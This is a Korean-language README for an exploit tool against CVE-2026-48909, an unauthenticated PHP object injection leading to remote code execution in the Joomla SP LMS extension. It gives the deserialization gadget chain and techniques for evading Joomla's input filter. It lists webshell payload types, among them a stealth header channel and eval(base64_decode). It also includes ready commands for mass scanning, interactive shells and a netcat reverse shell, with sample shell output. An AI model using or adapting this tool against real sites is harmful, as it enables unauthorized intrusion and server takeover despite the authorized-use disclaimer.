[!IMPORTANT]
승인된 사용만 허용됩니다. 이 도구는 보안 연구, 교육, 그리고 귀하가 소유하거나 명시적 서면 허가를 받은 시스템 테스트를 위한 것입니다. 승인되지 않은 컴퓨터 시스템 접근은 불법입니다. 저자는 오용에 대한 책임을 부인합니다.
목차
개요
CVE-2026-48909는 Joomla SP LMS 확장 프로그램에서 발생하는 치명적인 인증되지 않은 PHP 객체 주입 취약점입니다. 이 도구는 완전한 공격 체인을 구현하여 보안 전문가가 실험실 또는 승인된 환경에서 영향을 검증할 수 있도록 합니다.
탐지, 경로 발견, 페이로드 전달, 대화형 사후 침투 (허가된 경우), 대량 평가, 선택적 정리 등을 포함합니다.
취약점 세부 정보
| 속성 | 값 |
|---|
| CVE ID | CVE-2026-48909 |
| CVSS | 9.5 (치명적) |
| 공격 경로 | 네트워크 — 인증 불필요 |
| 영향 | 원격 코드 실행 |
| 영향 받는 제품 | Joomla SP LMS |
| 영향 받는 버전 | 1.0.0 – 4.1.3 |
| 패치된 버전 | SP LMS 4.1.4+ |
| 가젯 체인 | Joomla < 5.2.2 필요 |
호환성 매트릭스
| 구성 요소 | 버전 | 원격 코드 실행 |
|---|
| SP LMS | < 4.1.4 | 취약 |
| SP LMS | ≥ 4.1.4 | 패치됨 |
| Joomla | < 5.2.2 | 가젯 체인 사용 가능 |
| Joomla | ≥ 5.2.2 | 가젯 체인 패치됨 |
기능
핵심
| 기능 | 설명 |
|---|
| 인증되지 않은 익스플로잇 | 자격 증명 불필요 |
| 다중 페이로드 | 7가지 웹쉘/실행 변형 |
| 대화형 셸 | 배포 후 명령 히스토리 세션 |
| 경로 발견 | 자동 쓰기 가능 경로 프로빙 |
| 정리 | 테스트 후 배포된 웹쉘 제거 |
평가 및 운영
| 기능 | 설명 |
|---|
| 대량 스캐닝 | 다중 스레드 대상 목록 (1000+) |
| 프록시 지원 | HTTP/SOCKS (Burp, ZAP 등) |
| 리버스 셸 | 리스너 기반 페이로드 |
| 스텔스 모드 | 헤더/POST 기반 명령 채널 |
| 랜덤화 | UUID 셸 이름, User-Agent 순환 |
| 보고 | JSON, HTML 또는 CSV로 내보내기 |
| 탐지 지원 | Joomla 버전 확인, --check-only, --safe-mode |
우회 참고 사항
- 가능한 경우 Joomla의
cmd 필터에 의해 차단되는 문자 회피
- PHP 쓰기 경로를 16진수로 인코딩하여 base64 패딩/슬래시 문제 완화
- 설정 가능한 지연 및 순환 User-Agent
- 여러 주입/경로 후보에 걸친 재시도 로직
설치
전제 조건
- Python 3.6+
pip
- 테스트 대상에 대한 네트워크 접근 가능
설정
cd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
의존성
requests>=2.31.0
urllib3>=2.0.0
argparse는 Python 표준 라이브러리에 포함되어 있으므로 pip로 설치할 필요가 없습니다.
빠른 시작
https://target.example를 실험실 또는 승인된 대상으로만 바꿔 사용하세요.
단일 대상 — 경로 발견 + 대화형 셸
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
안전 점검 (익스플로잇 없음)
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
대량 스캔
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
리버스 셸 (승인된 실험실)
# 리스너
nc -lvnp 4444
# 익스플로잇 호스트
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
사용 가이드
경로 발견
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
알려진 쓰기 가능 경로
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
대화형 세션
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
단일 명령 실행
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
스텔스 페이로드 + 대화형
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
프록시 (Burp / ZAP)
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
정리
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
대상 목록 형식
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
명령어 참조
대상
| 인자 | 설명 |
|---|
target | 단일 대상 URL |
--targets, -T FILE | 대상 목록 파일 (한 줄에 하나의 URL) |
--path PATH | 웹쉘의 절대 서버 경로 |
--shell-type TYPE | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | 웹쉘 파일명 (기본값: x.php) |
네트워크
| 인자 | 설명 |
|---|
--timeout SECONDS | 요청 제한 시간 (기본값: 15) |
--insecure | TLS 인증서 확인 건너뜀 |
--proxy URL | 예: http://127.0.0.1:8080 |
--random-ua | User-Agent 순환 (기본 활성화) |
--delay SECONDS | 요청 간 지연 시간 |
리버스 셸
| 인자 | 설명 |
|---|
--reverse-host HOST | 리스너 호스트 |
--reverse-port PORT | 리스너 포트 |
모드
| 인자 | 설명 |
|---|
--interactive, -i | 배포 후 대화형 셸 |
--check-only | 취약점 확인 전용 |
--safe-mode | 비파괴적 테스트 |
--find-path | 쓰기 가능 경로 자동 발견 |
--cmd COMMAND | 단일 명령 실행 후 종료 |
--cleanup PATH | 경로의 웹쉘 제거 |
--cleanup-after | 익스플로잇 후 정리 |
대량 스캔 / 보고
| 인자 | 설명 |
|---|
--threads NUM | 작업자 스레드 수 (기본값: 10) |
--export FILE | 결과 출력 경로 |
--export-format FORMAT | json, html, csv (기본값: json) |
로깅
| 인자 | 설명 |
|---|
--log-file FILE | 로그를 파일로 저장 |
--quiet, -q | 조용한 모드 |
--verbose, -v | 상세 출력 |
--no-banner | 배너 숨김 |
페이로드 유형
| 유형 | 동작 | 일반적인 사용 사례 |
|---|
minimal | 간결한 GET 기반 실행 | 제한된 공간 / 빠른 테스트 |
standard | GET + POST cmd (기본값) | 일반적인 평가 |
stealth | X-Cmd 헤더를 통한 명령 | URL 로깅 최소화 |
base64 | POST를 통한 eval(base64_decode(...)) | 필터 우회 실험실 |
full | GET/POST + base64 채널 | 더 넓은 제어 |
reverse | 연결-백 셸 | 지속적인 실험실 접근 |
blindshell | 대체 포함/실행 패턴 | 제한된 환경 |
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
--reverse-host 10.0.0.1 --reverse-port 4444 --find-path
공격 체인
flowchart TD
A["공격자가 제어하는 lmsOrders 쿠키"] --> B["cart.php의 unserialize()"]
B --> C["FormattedtextLogger::__destruct()"]
C --> D["File::write() — PHP 드롭"]
D --> E["디스크에 웹쉘 저장"]
E --> F["원격 명령 실행"]
기술 요약
- 싱크 —
components/com_splms/models/cart.php가 base64로 디코딩된 lmsOrders 쿠키를 역직렬화합니다.
- 가젯 —
Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct()가 파일 시스템 쓰기를 유발합니다.
- 페이로드 — PHP 본문을 16진수로 인코딩하고 길이를 패딩하여 필터링된 base64 문자 (
/, =, +)를 회피합니다.
- 실행 — 드롭된 스크립트를 요청하여 OS 명령을 실행합니다.
입력 필터 우회 (개요)
Joomla의 cmd 필터는 /, =, +를 제거할 수 있습니다. 이 도구는 다음과 같이 보완합니다:
- 쓰기 내용을 16진수로 인코딩
- 직렬화/base64 형태를 패딩하여 불법 문자 회피
- 필터 안전 페이로드가 생성될 때까지 후보 반복
출력 예시
대화형 세션
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> whoami
www-data
shell> pwd
/var/www/html
shell> exit
JSON 내보내기 (형태)